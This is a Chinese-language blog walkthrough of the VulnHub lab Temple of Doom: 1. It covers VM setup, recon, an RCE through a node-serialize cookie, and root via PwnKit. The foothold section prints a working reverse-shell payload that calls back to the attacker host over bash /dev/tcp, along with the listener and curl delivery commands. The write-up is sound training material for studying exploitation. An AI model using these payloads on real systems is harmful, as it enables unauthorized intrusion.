> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Temple of Doom: 1 完整攻略：從環境地獄到 PwnKit
- URL: https://taiwanding.com/temple-of-doom-1-wan-zheng-gong-lue-cong-huan-jing-di-yu-dao-pwnkit/
- Published: 2026-07-11T04:33:40.000Z
- Updated: 2026-07-15T02:50:35.000Z
- Author: Kevin Chen
- Tags: #vulnhub, #vulnmachines, #pwnkit, #反序列化, machine

> 靶機：[Temple of Doom: 1](https://www.vulnhub.com/entry/temple-of-doom-1,243/?ref=taiwanding.com)（VulnHub，作者 0katz，2018）   
> 難度：Easy/Intermediate，作者註明「2 ways to get root」   
> 環境：WSL2 Kali + libvirt/KVM

## 前言：這篇不只是攻略，是一份完整的作戰日誌

大多數 Temple of Doom 的 writeup 直接從 nmap 開始，三兩下拿到 root，這篇不一樣 —— 它記錄了一件更真實、也更常見的事：**在把 recon 做完之前，我先跟「怎麼把這台 VM 跑起來」搏鬥了一整天。**

這台的價值，一半在攻擊鏈本身（node-serialize RCE 是很漂亮的 Node.js 洞），另一半在那些沒人寫進 writeup 的東西：WSL2 下虛擬化環境的相容性地獄、當 intended path 的服務沒啟動時如何判斷、以及在沒有編譯器的目標上如何用 AI 輔助客製一顆 PwnKit exploit。

**完整 Kill Chain：(有劇透可先跳過喔!)**

1. 環境搭建（QEMU → libvirt，繞過 WSL2/VirtualBox 的 Hyper-V 衝突）
2. Recon → port 666 的 Node.js Express 應用
3. cookie 是 Base64 序列化物件 → 丟壞它炸出 stack trace → 確認 `node-serialize`
4. node-serialize 反序列化 RCE（CVE-2017-5941）→ `nodeadmin`
5. 提權：intended path（ss-manager 注入 → fireman → tcpdump）與實際走的 PwnKit（CVE-2021-4034）

## 0\. 環境地獄：在 WSL2 裡把這台 VM 跑起來

這一段本身就夠寫一篇文章（另有專文），這裡濃縮記錄，因為它是這台真正花掉最多時間的部分。

### 為什麼 QEMU 裸跑與 VirtualBox 都不行

在 WSL2（Intel + RTX 3080 Ti）裡跑 VulnHub `.ova`，理論上有三條路，實測後只有一條活：

- **裸 QEMU + 手刻 tap/bridge/dnsmasq**：可行但脆弱，反覆踩到 tap `NO-CARRIER`（多隻 QEMU 搶同一個 tap）、介面名對不上、port 佔用。
- **VirtualBox**：Oracle 官方論壇明確定性 —— WSL2 需要 Hyper-V，而 VirtualBox 在 Hyper-V 存在時只能跑「相容模式」（俗稱綠烏龜），品質是 alpha，實測會頻繁當機。這台 VM 在 VirtualBox 裡最後直接因缺失的 Host-only 網卡與 Hyper-V 衝突而無法啟動。
- **libvirt/KVM**：最終的活路。

### libvirt 為什麼能通：PCI slot 的巧合

關鍵洞察：**libvirt 的 e1000 網卡固定落在 PCI bus 0 / slot 3，Linux 的 predictable naming 會把它命名為 `enp0s3`** —— 這正好是多數 VirtualBox 靶機期待的介面名，裸 QEMU 的自訂拓撲把網卡放在別的 slot，名字就對不上，導致 guest 開機後網卡不被帶起、拿不到 IP。

不過 Temple of Doom 是 Fedora 28，用 NetworkManager 自動管理網卡（不像 Debian 系綁死 `/etc/network/interfaces`），所以反而最好弄 —— 直接匯入就會拿到 IP。

完整啟動流程：

```bash
# 解包 + 轉 qcow2（.ova 內的 VMDK 是 streamOptimized 唯讀，必須轉；放原生 ext4 不放 /mnt）
tar xf temple-of-DOOM-v1.ova
qemu-img convert -p -O qcow2 *.vmdk TempleOfDoom.qcow2

# 匯入前先偵測 OS / 網路機制（Node 那台的血淚教訓）
sudo virt-cat -a TempleOfDoom.qcow2 /etc/os-release        # → Fedora 28
# 沒有 /etc/network/interfaces（Fedora 用 NetworkManager，不挑介面名）

# 掛預設 NAT 網路匯入
sudo virt-install --name TempleOfDoom --ram 2048 --vcpus 2 \
  --disk path=TempleOfDoom.qcow2,format=qcow2,bus=sata \
  --network network=default,model=e1000 \
  --os-variant generic --import --graphics vnc,listen=127.0.0.1 --noautoconsole

# 拿靶機 IP（libvirt 的介面是 vnet*，不是 tap0，別抓錯介面診斷）
sudo virsh net-dhcp-leases default        # → 192.168.122.140

```

## 1\. Recon

```bash
sudo nmap -p- -sV -sC 192.168.122.140

```

只有兩個 port，攻擊面高度集中：

| Port | 服務              | 備註                 |
| ---- | --------------- | ------------------ |
| 22   | OpenSSH 7.7     | 先擱著                |
| 666  | Node.js Express | 主攻擊面（惡魔數字，Doom 主題） |

port 666 跑 Node.js Express，首頁只回一句 `Under Construction, Come Back Later!`（8 bytes），目錄爆破（feroxbuster 通用字典）幾乎空手 —— 這是打 Express 的常態：**路由是程式定義的，不在檔案系統，通用字典猜不到。**

## 2\. Foothold：node-serialize 反序列化 RCE

### 2.1 從回應 header 抓到序列化的 cookie

`whatweb` 揭露關鍵：

```
Set-Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwi...
X-Powered-By: Express

```

那個 `eyJ` 開頭是 Base64 的 JSON，解開：

```bash
echo "eyJ1c2VybmFtZSI6IkFkbWluIiwi..." | base64 -d
# {"username":"Admin","csrftoken":"...","Expires=":Friday, 13 Oct 2018 ...}

```

伺服器把身分資訊塞進「用戶端可讀可改的 Base64 JSON」，且格式不是標準 JSON（`"Expires=":` 引號不對稱）—— 這暗示伺服器用了某種**反序列化**，不是單純 `JSON.parse`。

### 2.2 丟壞 cookie 炸出 stack trace，確認 node-serialize

打靶最有效的偵查之一：**送一個伺服器無法解析的輸入，讓它吐錯誤。**

```bash
curl -s -i http://192.168.122.140:666/ -b "profile=aW52YWxpZA=="

```

回應是一整段 Express 的 stack trace，金礦在這行：

```
at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29

```

三個決定性情報：

- 用了 **`node-serialize`**（有著名的 RCE 漏洞 CVE-2017-5941）
- 應用跑在 `**nodeadmin**` 底下，路徑 `/home/nodeadmin/.web/`
- server.js 第 12 行在 `unserialize` cookie

事後拿到 shell 讀 `server.js`，證實了攻擊面：

```javascript
var serialize = require('node-serialize');
app.get('/', function(req, res) {
    if (req.cookies.profile) {
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);   // ← 致命的一行
        ...

```

### 2.3 node-serialize 的 RCE 原理與利用

`node-serialize` 的 `unserialize()` 有個致命設計：當它遇到標記為函式的欄位（格式 `_$$ND_FUNC$$_function(){...}`），會用 `eval` 把它變回函式，若在函式後加 `()`（IIFE，立即執行函式），**反序列化的當下就會執行那段程式碼**。

反彈 shell 的 payload（IP 為 libvirt 網段的攻擊機 `192.168.122.1`）：

```bash
# Kali listener
nc -lvnp 4444

# 構造惡意 cookie（node child_process 反彈 bash）
PAYLOAD='{"username":"_$$ND_FUNC$$_function(){require(\"child_process\").exec(\"bash -c \\\"bash -i >& /dev/tcp/192.168.122.1/4444 0>&1\\\"\");}()","csrftoken":"x","Expires=":"x"}'
B64=$(echo -n "$PAYLOAD" | base64 -w0)
curl -s http://192.168.122.140:666/ -b "profile=$B64"

```

shell 彈回，`id` 確認立足點：

```
uid=1001(nodeadmin) gid=1001(nodeadmin) groups=1001(nodeadmin)
Linux localhost 4.16.3-301.fc28.x86_64 ... Fedora 28

```

> 這個 IIFE-in-cookie 的手法，跟一般 API 命令注入同源：任何「使用者可控輸入被當成程式碼執行」都是 RCE。

## 3\. 提權：intended path 為何走不通，以及實際走的路

拿到 `nodeadmin` 後，提權卡了非常久，這一段記錄兩件事：**作者設計的 intended path（為何這次跑不通）**，以及**實際打通的 PwnKit**。

### 3.1 系統概觀

```
使用者：nodeadmin(1001)、fireman(1002)
異常：/usr/bin/bash 和 /usr/bin/zip 被 fireman 擁有（0755，無 SUID）
SUID：exim（服務未啟動）、pkexec、newuidmap/newgidmap 等
mysql.bak / wordpress DB：存在但 root:root，讀不到；靶機無 mysql client

```

一開始的假設是「翻檔案／DB 找 fireman 密碼」，但遍尋不著，真相要到後面才明朗。

### 3.2 幾條死路（記錄下來，避免重蹈）

- **exim 4.91（CVE-2019-10149，raptor\_exim\_wiz）**：SUID 存在、版本受影響，但 `ss -tlnp | grep 25` 顯示 **exim 服務根本沒監聽**。exploit 透過 exim 遞送 payload，服務沒開就無從打起。作者放了個「有 SUID 但沒啟動」的 exim 當幌子。
- **翻密碼**：`.web` 只有 Node 依賴、`.config` 只有 pulseaudio、uploads 全是 Doom 遊戲圖、wp-config 讀不到。密碼不在檔案裡。
- **CVE-2018-18955（subuid\_shell）**：linpeas 標 highly probable、精準命中 Fedora 28 核心。交叉編譯、改對 `/etc/subuid` 的映射值（`165536`）後成功進入 namespace root，但 —— **uid\_map 只映射 UID 0-999，真實 root（host UID 0）落在映射外**，所以 `/root`、`/etc/shadow` 顯示為 `nobody:nobody`，讀不到，這個 exploit 給的是「對映射範圍內檔案的 DAC bypass」，搆不到真 root 檔案。

### 3.3 intended path 的真相（這次為何斷）

網路上的 writeup 都走這兩步，但它們都有一個共同前提：**ss-manager 服務要在跑。**

作者設計的橫向機制是：開機時透過 `/etc/rc.d/rc.local` 或 fireman 的 `@reboot` cron 啟動 **ss-manager**（shadowsocks 的管理程序），監聽 UDP 8839，但**這次開機該啟動機制沒生效**（rc.local 那行被註解／cron 未觸發），所以：

- 沒有 fireman 進程
- UDP 8839 沒人聽
- **intended 的兩條路都沒有服務可打**

這解釋了為何「翻密碼找 fireman」從一開始就是錯方向 —— intended path 根本不是靠密碼，是靠打 ss-manager 服務，而它沒起來，但我沒走這條路就請參考別人的writeup。

### 3.4 實際走的路：PwnKit（CVE-2021-4034）

因為 intended path 的服務沒起、其他 exploit 皆卡，最後改走一條 writeup 沒有、但不依賴任何服務的可靠路 —— **PwnKit，直接 nodeadmin → root。**

**原理三層：**

1. **漏洞根源 —— pkexec 的 argv 越界**：`pkexec`（SUID root）處理 `argv` 的迴圈從 `argv[1]` 開始。若用 `execve` 以 **argc=0（空 argv）** 呼叫它，迴圈會讀到 argv 陣列界線外的記憶體 —— 也就是環境變數區，於是把環境變數誤當參數處理，形成 OOB 讀寫。
2. **利用 —— GCONV\_PATH 載入惡意 module**：pkexec 過程會呼叫 glibc 的字元轉換，而 glibc 依環境變數 `GCONV_PATH` 載入 gconv module（`.so`），透過 OOB 注入可控的 `GCONV_PATH`，指向一個惡意 `.so`，其 constructor 就是 payload。因 pkexec 是 SUID root，載入時以 root 執行 payload → 提權。
3. **穩定性**：這是邏輯漏洞、不是 memory corruption，不需繞 ASLR、不需洩漏位址，幾乎每台有 pkexec 的 Linux 都中，Fedora 28（2018）的 pkexec 當然未修（CVE 2022 才公布）。

**這台的客製化（重點：沒有編譯器）：**

目標**沒有任何 C 編譯器**（`which gcc cc clang tcc` 只有 `make`），公開的 PoC（如 `berdav/CVE-2021-4034`）是 C 版要編譯 —— 用不了，解法分兩塊：

- **惡意 gconv module（`pwnkit.so`）**：在 Kali（host）**交叉編譯**，刻意只用 `GLIBC_2.2.5` 這種很舊的 symbol 版本，確保在目標的 glibc 2.27 上載得起來（向後相容），這塊必須是編譯好的 binary，因為目標編不了。
- **觸發器（`driver.py`）**：改用 **Python + ctypes**（目標有 `python3`，不用編譯）重寫 C PoC 的觸發邏輯 —— 因為從 shell 無法傳「真正空的 argv」（shell 一定帶 argv\[0\]），而 ctypes 能直接控制 `execve` 傳空陣列。

**觸發：**

```bash
python3 /tmp/.p/driver.py
# 掉進 root sh
id                                              # uid=0(root)
cat /root/flag.txt                              # kre0cu4jl4rzjicpo1i7z5l1
python3 -c 'import pty;pty.spawn("/bin/bash")'  # 升級成完整 bash

```

> **心得**：這其實是「AI 輔助 exploit 開發」的好範例 —— 公開 PoC 不能直接用（要編譯、目標無編譯器），於是根據漏洞原理，用目標有的工具（Python + 交叉編譯 .so）重新實作。

## 帶得走的方法論

- **打 Express/Node 應用**：路由是程式定義的，通用字典爆破常空手；改看回應 header、序列化物件（cookie）、丟壞輸入炸 stack trace，讓應用自己洩漏結構。
- **序列化即攻擊面**：看到 Base64 的物件 + 非標準 JSON，先想「它怎麼反序列化」；`node-serialize` 的 IIFE 手法是 Node RCE 經典。
- **提權卡住時的策略**：當一條路持續碰壁（intended path 的服務沒起、其他 exploit 前提不符），轉向不依賴服務的可靠路（PwnKit），但別忘了回頭理解 intended 設計 —— 那才是靶機的教學核心。
- **無編譯器目標**：交叉編譯靜態 binary、或改用直譯器（Python + ctypes）重寫 exploit，這是打現代精簡靶機的必備技巧。
- **PwnKit 是提權瑞士刀**：邏輯漏洞、不需繞 ASLR、幾乎每台有 pkexec 的 Linux 都中；卡關時值得優先驗證 pkexec 是否存在且未修補。

*本文為 Temple of Doom: 1 靶機的教學型 writeup，所有操作皆在本機隔離環境進行，切勿對未授權的系統進行任何測試。*